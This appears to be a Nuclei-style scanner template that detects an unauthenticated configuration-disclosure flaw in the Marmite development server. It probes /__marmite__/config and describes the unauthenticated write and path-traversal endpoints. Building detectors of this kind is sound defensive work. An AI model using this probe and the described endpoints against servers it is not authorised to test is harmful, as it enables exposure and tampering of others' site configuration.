id: CVE-2026-102811 info: name: "Marmite Dev Server - Unauthenticated Configuration Disclosure" author: vedas-arpsyndicate severity: high description: | Marmite through 0.4.2 ships a development server (started with --serve) whose endpoints /__marmite__/content, /__marmite__/config and /__marmite__/file/ require no authentication, allowing unauthenticated attackers to read and overwrite site content and configuration (and to write outside the project directory via path traversal). A GET to /__marmite__/config returns a JSON object with the config file path and its raw YAML contents. reference: - https://www.exploit.observer/?keyword=CVE-2026-102811&match=exact - https://subdomain.center/?engine=ammonites&keyword=marmite&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L cvss-score: 8.7 cve-id: CVE-2026-102811 cwe-id: CWE-306 metadata: verified: false tags: cve,cve2026,marmite,exposure http: - raw: - | GET /__marmite__/config HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains(body, "\"file\"")' - 'contains(body, "\"yaml\"")' condition: and